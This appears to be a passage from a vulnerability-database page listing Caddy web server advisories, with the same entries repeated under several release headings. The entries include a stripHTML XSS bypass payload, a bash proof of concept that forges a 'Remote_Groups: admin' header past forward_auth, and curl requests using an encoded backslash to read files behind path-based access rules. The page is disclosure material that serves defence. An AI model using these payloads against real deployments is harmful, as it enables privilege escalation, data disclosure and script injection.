    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 24, 2019

v1.0.0-beta2 pre

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 20, 2019

v1.0.0-beta1 pre

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
